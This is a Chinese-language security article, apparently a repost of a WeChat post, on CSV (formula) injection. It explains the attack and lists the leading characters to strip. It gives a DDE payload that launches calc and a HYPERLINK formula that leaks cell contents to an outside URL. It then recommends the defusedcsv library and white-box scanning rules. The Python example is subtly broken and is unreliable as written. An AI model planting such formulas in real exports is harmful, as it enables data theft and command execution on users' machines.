CSV注入原理和预防

相信大家听到CSV注入,应该是一脸茫然的,怀疑自己是不是听错了。难道不应该是SQL注入、命令注入之类的吗,CSV文件只是普通的文本,也可以注入吗?事实情况是CSV也是可以注入的。目前公司内部有许多后台管理系统,都支持CSV文件导出,如果不注意,就会造成较大的危害。下面就将详细介绍下CSV 注入原理和代码检测提前避免该漏洞的方法。

一、基本介绍

CSV 注入(CSV Injection),也称为公式注入。当网站在 CSV 文件中嵌入不受信任的输入时,就会发生 CSV 注入。在使用 Microsoft Excel 或 LibreOffice Calc等电子表格程序打开 CSV 时,任何以 开头的单元格=都会被软件解释为公式。恶意制作的公式可用于三种关键攻击:

  • 通过利用电子表格软件中的漏洞(例如 CVE-2014-3524)劫持用户的计算机。
  • 通过利用用户忽略电子表格中的安全警告来劫持用户的计算机。
  • 从电子表格或其他打开的电子表格中窃取内容。

这种攻击很难缓解,而且很多漏洞赏金计划都明确禁止这种攻击。要修复它,需要确保没有单元格使用以下任何字符开头:

  • 等于 ( =)
  • 加号 ( +)
  • 减号 ( -)
  • @符号(@)
  • Tab ( 0x09)
  • 回车 ( 0x0D)

二、漏洞演示

1、当我们创建一个普通的CSV文件,格式如下:CSV注入原理和预防

2、当我们打开该CSV文件时,发现lisi年龄表达式=1+1已经被执行了,这是不是意味着我们的表达式可以用来做其他事情呢?CSV注入原理和预防

3、利用表达式窃取表格内容或者用做钓鱼

  • 把表达式内容替换成如下内容,实际是个超链接,并把表格A2、A3字段给带出来
CSV注入原理和预防
  • 用户不注意直接点击,会跳转到网站,并把信息带入进去。CSV注入原理和预防
CSV注入原理和预防

4、利用DDE注入,远程命令执行 在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel需要启动另外一个程序(cmd),点击是,Windows会弹出计算器窗口

动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

CSV注入原理和预防

三、如何预防

Python语言为例,其内置了CSV模块,但是大部分开发在日常导出CSV时,使用默认参数。如下代码

import csv
# 写入CSV的数据,该数据可以是用户的在界面上提交的数据,写入数据库里的结果
datas = [["zhangsan","lisi""=HYPERLINK("http://www.baidu.com/"&A1,"Click")"]]

with open('test2.csv''w') as f:
    writer = csv.writer(f)
    writer.writerows(datas)

但是细看,datas里的数据有问题,这个数据可以是用户在界面上提交落入数据库的。但是由于导出到CSV时没有校验,直接生成的CSV文件就含有很大的安全问题。一般运营人员都会默认信任管理后台导出的文件。

CSV注入原理和预防

这时候就需要开发在导出时做特殊处理,把开头是=、+、-、@等特殊符号去除掉。已经有开源的库帮我们写好了此逻辑,可以直接引入使用,详情见https://github.com/raphaelm/defusedcsv

pip install defusedcsv

from defusedcsv import csv

使用时直接使用导入,其他功能和默认的csv功能一样。

四、安全检测

如何检测开发在代码编码阶段的是正确的呢,这时需要安全人员在白盒平台编写相关规则,进行检测,以本次的CSV注入漏洞为例,可以在白盒代码平台编写相关规则。判断开发者在导出CSV文件时,有没有使用defusedcsv库进行过滤。当应用在发布平台进行发布时,将会自动化对其进行检测,运营人员审核后,即可确定是否真正的含有风险。

参考链接:

  • https://owasp.org/www-community/attacks/CSV_Injection#:~:text=CSV%20Injection%2C%20also%20known%20as,the%20software%20as%20a%20formula.


原文始发于微信公众号(洋洋自语):CSV注入原理和预防

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/272958.html

(0)
明月予我的头像明月予我bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!